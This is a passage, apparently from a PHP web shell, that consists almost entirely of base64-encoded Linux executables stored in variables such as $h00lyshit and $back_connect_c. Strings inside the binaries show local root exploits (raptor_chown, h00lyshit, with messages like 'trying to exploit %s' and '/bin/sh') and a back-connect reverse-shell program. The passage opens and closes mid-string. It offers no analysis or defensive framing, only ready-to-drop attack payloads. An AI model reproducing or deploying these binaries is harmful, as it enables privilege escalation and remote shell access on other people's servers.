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ABAC8f9vAgAABIcECAQAAAARAA4AfgIAAAAAAAAkAAAAEgAAAJECAAAAmAQIAAAAABAADwCeAgAAAAAAAAAAAAAgAAAAsgIAAACYBAgAAAAAEALx/8gCAAAAAAAAAAAAACAAAAAAY2FsbF9nbW9uX3N0YXJ0AGNydHN0dWZmLmMAX19DVE9SX0xJU1RfXwBfX0RUT1JfTElTVF9fAF9fSkNSX0xJU1RfXwBwLjAAY29tcGxldGVkLjEAX19kb19nbG9iYWxfZHRvcnNfYXV4AGZyYW1lX2R1bW15AF9fQ1RPUl9FTkRfXwBfX0RUT1JfRU5EX18AX19GUkFNRV9FTkRfXwBfX0pDUl9FTkRfXwBfX2RvX2dsb2JhbF9jdG9yc19hdXgAcmFwdG9yX2Nob3duLmMAY2hvd25AQEdMSUJDXzIuMQBfRFlOQU1JQwBfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZnByaW50ZkBAR0xJQkNfMi4wAF9fZmluaV9hcnJheV9lbmQAX19kc29faGFuZGxlAF9fbGliY19jc3VfZmluaQBfX2Vycm5vX2xvY2F0aW9uQEBHTElCQ18yLjAAc3lzdGVtQEBHTElCQ18yLjAAX2luaXQAc3RkZXJyQEBHTElCQ18yLjAAX3N0YXJ0AF9fZmluaV9hcnJheV9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAF9faW5pdF9hcnJheV9lbmQAZGF0YV9zdGFydABfZmluaQBnZXRnaWRAQEdMSUJDXzIuMABfX3ByZWluaXRfYXJyYXlfZW5kAGV4aXRAQEdMSUJDXzIuMABfZWRhdGEAX0dMT0JBTF9PRkZTRVRfVEFCTEVfAF9lbmQAX19pbml0X2FycmF5X3N0YXJ0AF9JT19zdGRpbl91c2VkAHNwcmludGZAQEdMSUJDXzIuMABfX2RhdGFfc3RhcnQAX0p2X1JlZ2lzdGVyQ2xhc3NlcwBfX3ByZWluaXRfYXJyYXlfc3RhcnQAX19nbW9uX3N0YXJ0X18A";$h00lyshit="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ZXJyQEBHTElCQ18yLjAAd2FpdHBpZEBAR0xJQkNfMi4wAF9zdGFydABfX2Z4c3RhdEBAR0xJQkNfMi4wAG5pY2VAQEdMSUJDXzIuMABfX2ZpbmlfYXJyYXlfc3RhcnQAX19saWJjX2NzdV9pbml0AF9fYnNzX3N0YXJ0AG1haW4AX19saWJjX3N0YXJ0X21haW5AQEdMSUJDXzIuMABfX2luaXRfYXJyYXlfZW5kAHN0cmNhdEBAR0xJQkNfMi4wAGRhdGFfc3RhcnQAcHJpbnRmQEBHTElCQ18yLjAAX2ZpbmkAbWVtY3B5QEBHTElCQ18yLjAAZXJyb3IAX19wcmVpbml0X2FycmF5X2VuZABfX2V4Y29kZQBvcGVuQEBHTElCQ18yLjAAZXhpdEBAR0xJQkNfMi4wAF9lZGF0YQBfR0xPQkFMX09GRlNFVF9UQUJMRV8AX2VuZABnZXRjd2RAQEdMSUJDXzIuMABtZW1zZXRAQEdMSUJDXzIuMABfX2V4Y29kZV9lAF9faW5pdF9hcnJheV9zdGFydABfX2ZzdGF0AF9JT19zdGRpbl91c2VkAG1hZHZpc2VAQEdMSUJDXzIuMABzcHJpbnRmQEBHTElCQ18yLjAAX19kYXRhX3N0YXJ0AF9Kdl9SZWdpc3RlckNsYXNzZXMAZXhwbG9pdABfX3ByZWluaXRfYXJyYXlfc3RhcnQAX19nbW9uX3N0YXJ0X18A";$back_connect_c="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAA2IUECDQAAABMDAAAAAAAADQAIAAHACgAHAAZAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQILAkAACwJAAAFAAAAABAAAAEAAAAsCQAALJkECCyZBAg4AQAAPAEAAAYAAAAAEAAAAgAAAEAJAABAmQQIQJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAABQAAABEAAAAUAAAAAAAAAAAAAAARAAAAEgAAAAcAAAAKAAAACwAAAAgAAAAPAAAAAwAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAABgAAAAAAAAABAAAAAAAAAAkAAAAAAAAADAAAAAAAAAAAAAAADQAAAA4AAAACAAAABAAAAAAAAAAAAAAAAAAAAAAAAAA2AAAAAAAAABwBAAASAAAArAAAAAAAAABxAAAAEgAAADwAAAAAAAAACwIAABIAAABIAAAAAAAAAH0AAAASAAAAjAAAAAAAAACsAQAAEgAAAKUAAAAAAAAArwAAABIAAABjAAAAAAAAACcAAAASAAAAkwAAAAAAAADdAAAAEgAAAEMAAAAAAAAAOgAAABIAAABcAAAAAAAAAKoBAAASAAAAVgAAAAAAAAA2AAAAEgAAAHMAAAAAAAAA2QAAABIAAAB4AAAAAAAAACgAAAASAAAAbQAAAAAAAAAOAAAAEgAAAC4AAAAAAAAAe